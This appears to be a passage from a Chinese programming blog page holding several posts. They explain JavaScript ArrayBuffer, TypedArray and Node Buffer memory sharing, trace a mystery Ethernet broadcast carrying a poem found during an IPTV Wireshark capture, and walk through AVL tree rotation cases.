4
5
6
7
8
9
const arrayBuffer = new ArrayBuffer(4);
const view = new Uint8Array(arrayBuffer,1,2);
view[0]=0xff;
view[1]=0xff;
view[3]=0xff;
console.log(view);
//[ 255, 255 ]
console.log(arrayBuffer);
//<00 ff ff 00>

可见,实例view操作的是arrayBuffer的第一第二个字节。view[3]如果打印出来是undefined

arrayBufferArrayBuffer对象的实例,它是内存上真实存在的一段空间的引用,一串二进制数据看,这样uint8Array就成为了这一段内存空间引用的视图、操作工具。

现在来试一试,如果接受的参数不是ArrayBuffer实例,而是一个可迭代的数组对象,那实例化出来的TypedArray所指的ArrayBuffer实例是什么,跟传入的数组这个参数有什么关系

1
2
3
4
5
6
7
const array = [0,0,0,0];
const view = new Uint8Array(array);
view[0]=0xff;
console.log(view.buffer);
//<ff 00 00 00>
console.log(array);
//[ 0, 0, 0, 0 ]

很明显,它复制了一份数据,新建了一个ArrayBuffer实例,而view对象指向的就是这个新建的ArrayBuffer实例,视图对象跟数组已经没有关系了。也就是说除了直接给ArrayBuffer实例作为参数是直接指向,不然都是复制一份新的数据(因为数组内部没有指向的ArrayBuffer)。

包括参数为其他TypedArray也是如此,也是复制,而且这个构造函数没有可选偏移量跟长度。

1
new TypedArray(typedArray);	

多个视图可以同时指向的ArrayBuffer相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const arrayBuffer = new ArrayBuffer(4);
const uint8Array1 = new Uint8Array(arrayBuffer);
const uint8Array2 = new Uint8Array(arrayBuffer);
console.log(uint8Array1 === uint8Array2);
//false
console.log(uint8Array1[0]);
//0
console.log(uint8Array2[0]);
//0
uint8Array1[0]++;
console.log(uint8Array1[0]);
//1
console.log(uint8Array2[0]);
//1

那问题来了,我有一个旧的视图,我现在希望实例化一个新的视图,我希望这两个视图都指向同一片内存数据,又改怎么做呢?直接用旧视图作为构造参数去实例化当然是不行的,那样只会在内存上复制一份新的数据。由于直接使用ArrayBuffer的对象,即用这一块内存数据的引用去实例化视图,才使得视图直接指向这块内存,不会复制新的数据,那我们取出旧视图的代表了内存引用的ArrayBuffer对象,用它去实例化新视图不就可以了吗?

1
2
3
4
5
6
7
8
const view1 = new Uint8Array([0,0,0]);
const arrayBuffer = view1.buffer;
const view2 = new Uint8Array(arrayBuffer);
view1[0]=0xff;
console.log(view1);
//[ 255, 0, 0 ]
console.log(view2);
//[ 255, 0, 0 ]

除了传入ArrayBuffer实例和TypedArray实例,还可以传入一个number值作为构造参数。

1
new TypedArray(length);

也可以使用默认构造方法,内部同样会创建一个ArrayBuffer实例并指向它,但其长度为0。

1
2
3
const view = new Uint8Array();
console.log(view.buffer.byteLength);
//0

from

TypedArray.from()可以获得一个新实例

1
TypedArray.from(source[, mapFn[, thisArg]])

但问题是这个source只能是其他的TypedArray或者可迭代的对象比如数组,也就是不能是ArrayBuffer实例。如果硬要传递进去,只会创建一个新的长度为0ArrayBuffer实例

1
2
3
4
5
6
const arrayBuffer = new ArrayBuffer(4);
const view = Uint8Array.from(arrayBuffer);
console.log(view.buffer.byteLength);
//0
console.log(view.buffer==arrayBuffer);
//false

当参数是数组或者其他TypedArray时,是跟构造方法是一样的,复制一份内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const array = [0,0,0,0]
const view = Uint8Array.from(array);
view[0]=0xff;
console.log(view);
//[ 255, 0, 0, 0 ]
console.log(array);
//[ 0, 0, 0, 0 ]

const array1 = [0,0,0,0]
const view1 = Uint8Array.from(array1);
const view2 = Uint8Array.from(view1);
view1[0]=0xff;
console.log(view1);
//[ 255, 0, 0, 0 ]
console.log(view2);
//[ 0, 0, 0, 0 ]

由此可见from方法只能复制,不能共用一段内存数据

可选参数mapFn是个函数,可以类比于数组的map,可以处理每一个元素;thisArg是mapFn的this参数

Buffer

from

那Node的Buffer继承自Uint8Array,大部分跟Unit8Array一致,其中有一些不同的点,比如构造函数Buffer()已经废弃了,要获得一个Buffer实例需要用到Buffer的静态方法from

from可以传入数组和Buffer实例,没有可选参数,跟TypedArray的构造方法new TypedArray(array)new TypedArray(buffer)也是一致的,会复制一份数据。

它接受参数为ArrayBuffer实例时,有两个可选参数,byteoffset和length。这里的参数跟TypedArray的构造方法new TypedArray(buffer [, byteOffset [, length]])也是一致的,实例化的行为上也一样,都是直接使用传入ArrayBuffer实例,不会再复制一份数据。

1
2
3
Buffer.from(array)
Buffer.from(buffer)
Buffer.from(arrayBuffer[, byteOffset[, length]])
1
2
3
4
5
6
7
const array = [0,0,0,0];
const buffer = Buffer.from(array);
buffer[0]=0xff;
console.log(buffer);
//<Buffer ff 00 00 00>
console.log(array);
//[ 0, 0, 0, 0 ]
1
2
3
4
5
6
7
8
const array = [0,0,0,0];
const buffer1 = Buffer.from(array);
const buffer2 = Buffer.from(buffer1);
buffer1[0]=0xff;
console.log(buffer1);
//<Buffer ff 00 00 00>
console.log(buffer2);
//<Buffer 00 00 00 00>
1
2
3
4
5
6
7
const arrayBuffer = new ArrayBuffer(4);
const buffer = Buffer.from(arrayBuffer);
buffer[0]=0xff;
console.log(buffer);
//<Buffer ff 00 00 00>
console.log(arrayBuffer);
//<Buffer ff 00 00 00>

Buffer内存池

BufferBuffer.from()这个静态方法来获取实例化,跟TypedArray直接用构造方法相比,看起来确实一样,但其实会遇到一点问题:

1
2
3
4
5
6
7
8
9
10
const array = [0,0,0,0];
const view1 = new Uint8Array(array);
const view2 = Buffer.from(view1);
view1[0]=0xff;
console.log(view1);
//[ 255, 0, 0, 0 ]
console.log(view2);
//<Buffer 00 00 00 00>
console.log(view1.buffer===view2.buffer);
//false
1
2
3
4
5
6
7
8
9
10
const array = [0,0,0,0];
const buffer1 = Buffer.from(array);
const buffer2 = Buffer.from(buffer1);
buffer1[0]=0xff;
console.log(buffer1);
//<Buffer ff 00 00 00>
console.log(buffer2);
//<Buffer 00 00 00 00>
console.log(buffer1.buffer===buffer2.buffer);
//true 注意看这里打印出来是true

buffer1buffer2竟然是同一个ArrayBuffer实例。可是buffer1修改了数据在buffer2却是没有变化的。

证明了buffer1buffer2指向的是同一个ArrayBuffer实例,却是不同的位置,也就是说它们是有偏移量的。

1
2
3
4
5
6
7
8
9
//接着上面的代码
console.log(view1.byteOffset);
//0
console.log(view1.byteLength);
//4
console.log(view2.byteOffset);
//616
console.log(view2.byteLength);
//4

view2的起始位置是从ArrayBuffer实例的第616位开始的。

这里插一下队看看Buffer的另两个方法

1
2
Buffer.alloc(size[, fill[, encoding]])
Buffer.allocUnsafe(size)

这两个静态方法实例化出size大小的Buffer实例,它们的一个重要区别是allocUnsafe会在利用Buffer模块的内存池。模块预先分配了一个内存池,大小可以通过属性Buffer.poolsize得到。整个池有一个ArrayBuffer引用,当调用allocUnsafe调用时,检查size大小,如果size小于Buffer.poolsize的一半,直接将现成的内存池,也就是现成的ArrayBuffer引用分配给即将实例化的Buffer,否则,会新开一个内存池,当然,内存池不够大了也会开一个新的,并且下一次allocUnsafe的时候检查的就是这个新的池了。

除了allocUnsafe(size),还有from(array)``from(string)``from(buffer)都是会用到这个机制,所以上面buffer11buffer2经过检查后size都小于池子大小的一半,分配到的内存的引用都是同一个,只不过他们指向的都不是同一片区域,因为他们的偏移量不同,但是它们确实是在同一个ArrayBuffer里面。

所以利用这个机制我们也很容易可以将两个Buffer实例完全操作一样的内存区域。只要偏移量也相同长度也相同即可。

1
2
3
4
5
6
7
8
9
10
const array = [0,0,0,0];
const buffer1 = Buffer.from(array);
const buffer2 = Buffer.from(buffer1.buffer,buffer1.byteOffset,buffer1.byteLength);
buffer1[0]=0xff;
console.log(buffer1);
//<Buffer ff 00 00 00>
console.log(buffer2);
//<Buffer ff 00 00 00>
console.log(buffer1.buffer===buffer2.buffer);
//true

总结

  • ArrayBuffer是内存上一片连续数据的引用,它不能操作数据。

  • BufferTypedArray有继承关系,TypedArrayArrayBuffer的视图,用于操作二进制数据

  • 实例化TypedArray靠它的构造函数,参数为可迭代的对象、其他TypedArray实例时,会复制一份新的数据,当参数为ArrayBuffer实例时,直接指向这个实例,同时还可以通过两个可选参数控制对于ArrayBuffer实例的长度和偏移。获取实例还可以使用静态方法from,只能传可迭代的对象作为参数,但两个可选参数,用来处理每一个元素。

  • 实例化Buffer的构造函数已经废弃,实例可以靠静态方法from获得,与上面一样,当参数是可迭代的对象或者其他Buffer实例时,会复制一份数据,当参数是ArrayBuffer的实例时,直接指向它,同时可以控制长度和偏移。

  • Buffer有内存池机制,当实例化Buffer时如果参数不是ArrayBuffer时,会检查Buffer实例的大小,如果小于内存池的一半则将现有的内存池分配给它,否则新建一个内存池。

起因是抓IPTV,移动光猫 接 交换机8口,本机电脑 接 交换机7口,本机开wireshark,捕获过滤器用mac过滤掉移动光猫、本机和交换机的所有报文:

1
!ether host 00:D8:61:xx:xx:xx && !ether host CC:ED:21:xx:xx:xx && !ether host 58:41:20:xx:xx:xx

发现怎么还有东西一直在广播,mac是00:00:00:00:00:12。wireshark每隔约5s抓到一个broadcast:

No. Source Destination Protocal Length Info
1 00:00:00_00:00:12 Broadcast 0xfffa 72 Ethernet II
2 00:00:00_00:00:12 Broadcast 0xfffa 72 Ethernet II
3 00:00:00_00:00:12 Broadcast 0xfffa 72 Ethernet II
…… …… …… …… …… ……

看一个完整报文:

1
2
3
4
5
0000   ff ff ff ff ff ff 00 00 00 00 00 12 ff fa 00 00   ................
0010 00 03 cc ed 21 c0 dc e8 49 6e 20 74 68 65 20 67 ....!...In the g
0020 61 70 20 61 20 6e 65 77 20 74 6f 6f 74 68 20 67 ap a new tooth g
0030 72 65 77 2c 00 00 00 00 00 00 00 00 00 00 00 00 rew,............
0040 00 00 00 00 00 00 00 00 ........

其中广播带有58个bytes的data:

1
......!...In the gap a new tooth grew,....................

我抓了100个之后在wireshark存为unknown_broadcast.txt,用sed提取出data的文本内容并拼接起来:

1
sed -n '/^00[012]0[ ]*/p' unknown_broadcast.txt | sed -n 's/^.*\(.\{17\}$\)/\1/p'| sed 's/^\(\.*!\.*\)*\([^.]*\)\(\.*\)*/\2/'| sed ':a;N;s/\r\n//;t a'

(ps:sed的正则怎么用不了非贪婪)

(ps:sed的正则怎么匹配不了行尾$)

1
In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth tooThe day I lost my very first tooth,

手动去掉重复片段整理:

1
The day I lost my very first tooth,Was halfway through grade four,I'd run my tongue along the gap,Where my tooth had been before,I remember I went home crying,And showed it to my mum,She told me that a brand new tooth,Would grow up in my gum,In a while the gap would stop feeling I wouldn't notice the tooth was gone,The only reason I missed it now,Was because it was there for so long,Then slowly but surely over the weeks,In the gap a new tooth grew,And now it makes me wonder,If people are like teeth too. 

拿上面这小作文一搜,发现是首诗。。。。。换下行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
The day I lost my very first tooth,
Was halfway through grade four,
I'd run my tongue along the gap,
Where my tooth had been before,
I remember I went home crying,
And showed it to my mum,
She told me that a brand new tooth,
Would grow up in my gum,
In a while the gap would stop feeling
I wouldn't notice the tooth was gone,
The only reason I missed it now,
Was because it was there for so long,
Then slowly but surely over the weeks,
In the gap a new tooth grew,
And now it makes me wonder,
If people are like teeth too

怎么我抓出来的跟搜出来的差一个词,In a while the gap would stop feeling strange这句,我的怎么没有strange,手动去翻了一下unknown_broadcast.txt,发现是有strange的,检查发现是sed写错了,改为:

1
sed -n 's/^00[0123]0[ ]\{2,\}.*[ ]\{2,\}\([\.]*\)/\1/p' unknown_broadcast.txt | sed 's/^\(\.*!\.*\)*\([^.]*\)\(\.*\)*/\2/' | sed '/^[ ]\{3,\}/d' | sed ':a;N;s/\r\n//;t a'

谷歌翻译下这首诗:

在我失去第一颗牙齿的那天,
四年级上到一半,
我会沿着缝隙伸出舌头,
我以前的牙齿在哪里,
我记得我哭着回家,
并把它展示给我妈妈,
她告诉我,一颗崭新的牙齿,
会在我的口香糖里长大,
过一会儿,差距就不再奇怪了,
我不会注意到牙齿掉了,
我现在错过的唯一原因,
是因为它存在了那么久,
然后在几周内缓慢但肯定地,
缝隙里长出了一颗新牙,
现在它让我想知道,
如果人也像牙齿

前情提要:

插入

插入和二叉搜索树不一样的是,需要再数据被放入后回溯结点,向上更新每一个结点的平衡因子,判断是否有子树不平衡,找到最小不平衡子树,用上篇中讨论的旋转方式去让树回归平衡。

特定例子

现在我们开始解决AVL树中提到最小不平衡子树,使AVL树重新恢复平衡状态。

下图先举例一个最简单的平衡的AVL树在经过插入操作后变得不平衡的例子

如图所示插入结点5后,父结点7的平衡因子变为1,再往上的父节点10变为2,这个结点10就是我们要找的最小不平衡子树的根结点。我们把最小不平衡子树拿出来单独讨论。

这是最简单的情况,最小不平衡子树的根结点为结点10,新插入结点5是根结点10的左子结点的左子结点,这种情况我们成为LL型(左左型)。在LL型中,根结点10比它的左子结点大,它的左子结点也比新插入的结点大,我们可以把这三个结点的位置转一转,把结点10转到结点7的右下方,也就是从结点7的父节点变成了结点7的右子结点,而结点7自己成了根结点

现在以结点7为根结点的子树平衡了,整个树也就重新达到AVL的平衡条件了。我们旋转的对象是根结点10,根据它的旋转方向我们称这种旋转为右旋。所以LL型我们只需要一次右旋就能重新回归平衡。因为结点10和结点7之间的大小关系,所以结点10既能做结点7的父结点,也能做结点7的右子结点,右旋操作就是将操作结点从父结点变为右子结点。

这个LL型过于简单,再举个LL型的最小子树例子,下面这个例子的子树高度比上面那个例子要高,但同样只需要一次右旋就能回到平衡状态。

完全对称的,我们也有RR型(右右型),所以对称地我们需要一次左旋来让RR型回归平衡,我现在把LL型的例子变成RR型,再看看示意图,完全是对称的操作。右旋操作就是将操作结点从父结点变为左子结点。

LL型

例子举完了,现在该分析一下所有可能存在的情况了。如下图,设想现在有一个子树的根结点t,子树处于平衡状态,它的左子树我们先记做ltree,右子树我们记做rtree。左子树和右子树中的结点数未知,但是它们的高度差因为平衡所以一定不大于1。现在我们插入一个新的结点n,假定我们插入新的结点之后,树将不再平衡,并且这个以结点t为根的子树是整个树的最小不平衡子树。那只有两种插入情况,一种是插入在左子树上,左子树比右子树高2,一种是插在右子树上,右子树比左子树高2,我们把比较矮的一边子树的高度记做h,则另一边比较高的子树的高度为h+2。当然h必须h≥0。可以想象到这两种情况是对称的,那他们解决平衡的操作也是对称的。

我们现在拿情况1出来分析,把ltree又分为它的根结点tl和tl的左子树lltree和右子树lrtree,同样有两种情况,结点n要么是接在lltree上要么是接在lrtree上,根据上面的讨论,高度如下图所示,同时我也标注好了平衡因子。

注意!以上的讨论都是建立在结点t构成的子树为最小不平衡子树下。因为这个子树为最小不平衡子树,所以必然的,情况1-1中lltree和lrtree还有rtree三个子树的高度都相等都是h,情况1-2中rltree和rrtree还有ltree三个子树的高度也相等也都是h。h要满足h≥0。反过来说lltree和lrtree还有rtree(或是rltree和rrtree还有ltree)它们的高度不可能不相等,如果不相等那结点t构成的子树就不是最小不平衡子树,记住我们所讨论的情况都是建立在结点t是最小不平衡子树的根结点上的。

对于情况1-1我们可以继续分类讨论出情况1-1-1和1-1-2……但这样套娃已经完全没有必要了,因为我们现在就能针对情况1-1做出普适性的回归平衡方法。

现在我们针对情况1-1来看,发现上文中右旋的两个例子就是情况1-1,情况1-1即是LL型。当lltree和lrtree还有rtree的高度为0时,就是上文右旋的第一个例子,而这三个子树高度为1时,就是上文右旋中第二个例子。可以继续推导的是,lltree和lrtree还有rtree的高度h只要满足h≥0,这种最小不平衡子树都是LL型,能都通过对根结点t一次右旋重新回归平衡,如下图。

LR型

接下来讨论情况1-2,我们发现这不再是LL型了,我们无法通过一次右旋来解决问题,如下图:

我们需要继续分析讨论情况1-2,分类讨论结点n插入的更准确的位置。我们把lrtree这个子树细分成结点tlr和其左右子树lrltree和lrrtree。我们对情况1-2分别得到以下两种情况1-2-a和1-2-b。1-2-a是结点n插在lrltree上,1-2-b是结点n插在lrrtree上。

经过分析我们发现,虽然我们不能通过一次右旋来回归平衡,但是我们发现如果对情况1-2-a和1-2-b中的结点tl进行一次左旋,我们将把情况1-2-a和1-2-b转变了LL型,如下图

情况1-2-a和1-2-b进行了左旋之后,得到的LL型是有区别的,情况1-2-a左旋结果的结点tlr的平衡因子为2,最小不平衡子树变成了以结点tlr为根的最小不平衡子树,不是结点t。而情况1-2-b左旋结果的结点tlr的平衡因子为1,所以依然是以结点t为根结点的最小不平衡子树。对于情况1-2-a左旋结果,它的最小不平衡子树变了,虽然也是LL型,但是我们能对结点tlr做一次右旋让它回归平衡吗?答案是不能,这样又变回情况情况1-2-a了,左右旋本身就是互为反操作。那这样的话,我们依旧是把情况1-2-a左旋结果的最小不平衡子树当做没有变动,根结点依旧是结点t,所以对于情况1-2-a左旋结果和情况1-2-b左旋结果,这两个都是根为结点t的LL型,我们对结点t做一次右旋即可回归平衡。如下图。

情况1-2细分的两种情况现在就已经解决了不平衡问题,方法都是先对结点tl做一次左旋,再对结点t做一次右旋,我们把情况1-2称作LR型。所以LR型的最小不平衡子树,我们先对根结点t的左子节点tl做左旋转换成LL型后,再对结点t做右旋,即可平衡。但LR型里面也是有区别的,虽然都是对结点一样的操作,可重新平衡之后结点t和结点tl的平衡因子是不一样的,在实现上要注意处理这个问题。

RR型和RL型

至此,其实我们已经解决掉AVL树的一半旋转方法了。LL型对根结点t做一次右旋,LR型对根结点t的左子节点tl做一次左旋再对结点t做一次右旋。对称地,我们可以得知,把LL型和LR型镜像翻转过来我们得到RR型,和RL型,重新平衡的操作也是对称的,对于RR型应当对根结点t做一次左旋,对于RL型应当对根结点t的右子结点tr做一次右旋,再对结点t做一次左旋。于是我们对于所有的不平衡情况都给出了平衡的旋转方法。下面示意图表示一下RR和RL的过程,就不从头分析一遍了。

RR型:

RL型

RL型对结点tr右旋转换成RR型:

最后再对结点t左旋: